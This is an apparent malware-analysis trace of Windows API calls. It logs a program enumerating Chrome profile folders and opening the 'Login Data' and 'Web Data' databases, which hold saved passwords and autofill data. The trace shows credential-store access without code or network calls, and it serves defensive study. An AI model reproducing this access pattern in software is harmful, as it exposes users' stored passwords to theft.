[0083.541] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\"
[0083.541] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data"
[0083.541] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\crashpad\\login data")) returned 0xffffffff
[0083.541] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.541] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.541] wcslen (_String="Default") returned 0x7
[0083.541] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.541] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.541] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.541] wcscat (in: _Dest=0x12b7bc, _Source="Default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
[0083.541] wcscmp (_String1="Default", _String2="..") returned 1
[0083.541] wcscmp (_String1="Default", _String2=".") returned 1
[0083.541] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x41
[0083.541] wcslen (_String="Web Data") returned 0x8
[0083.541] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
[0083.542] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x41
[0083.542] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
[0083.542] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
[0083.542] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x2020
[0083.564] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c
[0083.564] CloseHandle (hObject=0x10c) returned 1
[0083.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", cchWideChar=-1, lpMultiByteStr=0x12a958, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpUsedDefaultChar=0x0) returned 75
[0083.564] GetSystemInfo (in: lpSystemInfo=0x453d40 | out: lpSystemInfo=0x453d40*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03))
[0083.565] GetVersionExW (in: lpVersionInformation=0x128edc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x39ca70, dwMinorVersion=0x4d00014c, dwBuildNumber=0x126c9c0, dwPlatformId=0x390000, szCSDVersion="") | out: lpVersionInformation=0x128edc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x12a958, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x12a958, cbMultiByte=-1, lpWideCharStr=0x39bcf0, cchWideChar=75 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 75
[0083.565] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b
[0083.565] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x4e, lpBuffer=0x39bd90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x4a
[0083.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75
[0083.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", cchWideChar=-1, lpMultiByteStr=0x39bcf0, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpUsedDefaultChar=0x0) returned 75
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39be58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39be58, cbMultiByte=-1, lpWideCharStr=0x39bad0, cchWideChar=75 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 75
[0083.565] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39be58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75
[0083.565] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39be58, cbMultiByte=-1, lpWideCharStr=0x39bb70, cchWideChar=75 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 75
[0083.565] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b
[0083.566] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", nBufferLength=0x4e, lpBuffer=0x39bc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpFilePart=0x0) returned 0x4a
[0083.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75
[0083.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", cchWideChar=-1, lpMultiByteStr=0x39bb70, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", lpUsedDefaultChar=0x0) returned 75
[0083.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x128db8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75
[0083.566] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x128db8, cbMultiByte=-1, lpWideCharStr=0x39bb70, cchWideChar=75 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 75
[0083.566] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x128ec4, lpBytesPerSector=0x128ec0, lpNumberOfFreeClusters=0x128ec4, lpTotalNumberOfClusters=0x128ec4 | out: lpSectorsPerCluster=0x128ec4, lpBytesPerSector=0x128ec0, lpNumberOfFreeClusters=0x128ec4, lpTotalNumberOfClusters=0x128ec4) returned 1
[0083.577] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x129028*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x129028*=0) returned 0x0
[0083.577] ReadFile (in: hFile=0x10c, lpBuffer=0x12907c, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x129048, lpOverlapped=0x0 | out: lpBuffer=0x12907c*, lpNumberOfBytesRead=0x129048*=0x64, lpOverlapped=0x0) returned 1
[0083.586] LockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
[0083.586] LockFileEx (in: hFile=0x10c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x128d04 | out: lpOverlapped=0x128d04) returned 1
[0083.586] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.586] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bea3, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83
[0083.586] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bea3, cbMultiByte=-1, lpWideCharStr=0x1260a70, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 83
[0083.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), fInfoLevelId=0x0, lpFileInformation=0x128cf4 | out: lpFileInformation=0x128cf4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e7eb260, ftCreationTime.dwHighDateTime=0x1d2dc1b, ftLastAccessTime.dwLowDateTime=0x3e7eb260, ftLastAccessTime.dwHighDateTime=0x1d2dc1b, ftLastWriteTime.dwLowDateTime=0x3f83ce20, ftLastWriteTime.dwHighDateTime=0x1d2dc1b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0083.587] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128d28 | out: lpFileSizeHigh=0x128d28*=0x0) returned 0x10000
[0083.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bef6, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79
[0083.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bef6, cbMultiByte=-1, lpWideCharStr=0x1260a70, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal") returned 79
[0083.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data-wal"), fInfoLevelId=0x0, lpFileInformation=0x128d0c | out: lpFileInformation=0x128d0c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0083.587] GetLastError () returned 0x2
[0083.587] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x128d40 | out: lpFileSizeHigh=0x128d40*=0x0) returned 0x10000
[0083.588] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x128ce8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128ce8*=0) returned 0x0
[0083.588] ReadFile (in: hFile=0x10c, lpBuffer=0x39d764, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128d08, lpOverlapped=0x0 | out: lpBuffer=0x39d764*, lpNumberOfBytesRead=0x128d08*=0x800, lpOverlapped=0x0) returned 1
[0083.588] SetFilePointer (in: hFile=0x10c, lDistanceToMove=24576, lpDistanceToMoveHigh=0x128b48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128b48*=0) returned 0x6000
[0083.588] ReadFile (in: hFile=0x10c, lpBuffer=0x12791e4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128b68, lpOverlapped=0x0 | out: lpBuffer=0x12791e4*, lpNumberOfBytesRead=0x128b68*=0x800, lpOverlapped=0x0) returned 1
[0083.589] SetFilePointer (in: hFile=0x10c, lDistanceToMove=26624, lpDistanceToMoveHigh=0x128b10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128b10*=0) returned 0x6800
[0083.589] ReadFile (in: hFile=0x10c, lpBuffer=0x127ca0c, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128b30, lpOverlapped=0x0 | out: lpBuffer=0x127ca0c*, lpNumberOfBytesRead=0x128b30*=0x800, lpOverlapped=0x0) returned 1
[0083.589] SetFilePointer (in: hFile=0x10c, lDistanceToMove=45056, lpDistanceToMoveHigh=0x128b20*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x128b20*=0) returned 0xb000
[0083.589] ReadFile (in: hFile=0x10c, lpBuffer=0x39f4e4, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x128b40, lpOverlapped=0x0 | out: lpBuffer=0x39f4e4*, lpNumberOfBytesRead=0x128b40*=0x800, lpOverlapped=0x0) returned 1
[0083.589] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.590] LockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1
[0083.590] LockFileEx (in: hFile=0x10c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x128fe4 | out: lpOverlapped=0x128fe4) returned 1
[0083.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bea3, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83
[0083.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bea3, cbMultiByte=-1, lpWideCharStr=0x39bbd0, cchWideChar=83 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 83
[0083.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), fInfoLevelId=0x0, lpFileInformation=0x128fd4 | out: lpFileInformation=0x128fd4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e7eb260, ftCreationTime.dwHighDateTime=0x1d2dc1b, ftLastAccessTime.dwLowDateTime=0x3e7eb260, ftLastAccessTime.dwHighDateTime=0x1d2dc1b, ftLastWriteTime.dwLowDateTime=0x3f83ce20, ftLastWriteTime.dwHighDateTime=0x1d2dc1b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
[0083.590] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x129020 | out: lpFileSizeHigh=0x129020*=0x0) returned 0x10000
[0083.590] SetFilePointer (in: hFile=0x10c, lDistanceToMove=24, lpDistanceToMoveHigh=0x12900c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12900c*=0) returned 0x18
[0083.590] ReadFile (in: hFile=0x10c, lpBuffer=0x12904c, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x12902c, lpOverlapped=0x0 | out: lpBuffer=0x12904c*, lpNumberOfBytesRead=0x12902c*=0x10, lpOverlapped=0x0) returned 1
[0083.590] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x129008 | out: lpFileSizeHigh=0x129008*=0x0) returned 0x10000
[0083.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bef6, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79
[0083.590] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x39bef6, cbMultiByte=-1, lpWideCharStr=0x39bbd0, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal") returned 79
[0083.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-wal" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\web data-wal"), fInfoLevelId=0x0, lpFileInformation=0x128fec | out: lpFileInformation=0x128fec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0083.590] GetLastError () returned 0x2
[0083.590] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x129020 | out: lpFileSizeHigh=0x129020*=0x0) returned 0x10000
[0083.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1
[0083.591] CloseHandle (hObject=0x10c) returned 1
[0083.591] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x41
[0083.591] wcslen (_String="Login Data") returned 0xa
[0083.591] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
[0083.591] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 0x41
[0083.591] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\"
[0083.591] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
[0083.591] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data")) returned 0x2020
[0083.592] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c
[0083.593] CloseHandle (hObject=0x10c) returned 1
[0083.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", cchWideChar=-1, lpMultiByteStr=0x12a958, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpUsedDefaultChar=0x0) returned 77
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x12a958, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x12a958, cbMultiByte=-1, lpWideCharStr=0x39c918, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 77
[0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d
[0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x50, lpBuffer=0x39c9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4c
[0083.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77
[0083.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", cchWideChar=-1, lpMultiByteStr=0x39e4b0, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpUsedDefaultChar=0x0) returned 77
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd20, cbMultiByte=-1, lpWideCharStr=0x39c918, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 77
[0083.593] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77
[0083.593] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x127bd20, cbMultiByte=-1, lpWideCharStr=0x39c9c0, cchWideChar=77 | out: lpWideCharStr="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 77
[0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d
[0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x50, lpBuffer=0x127be20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4c
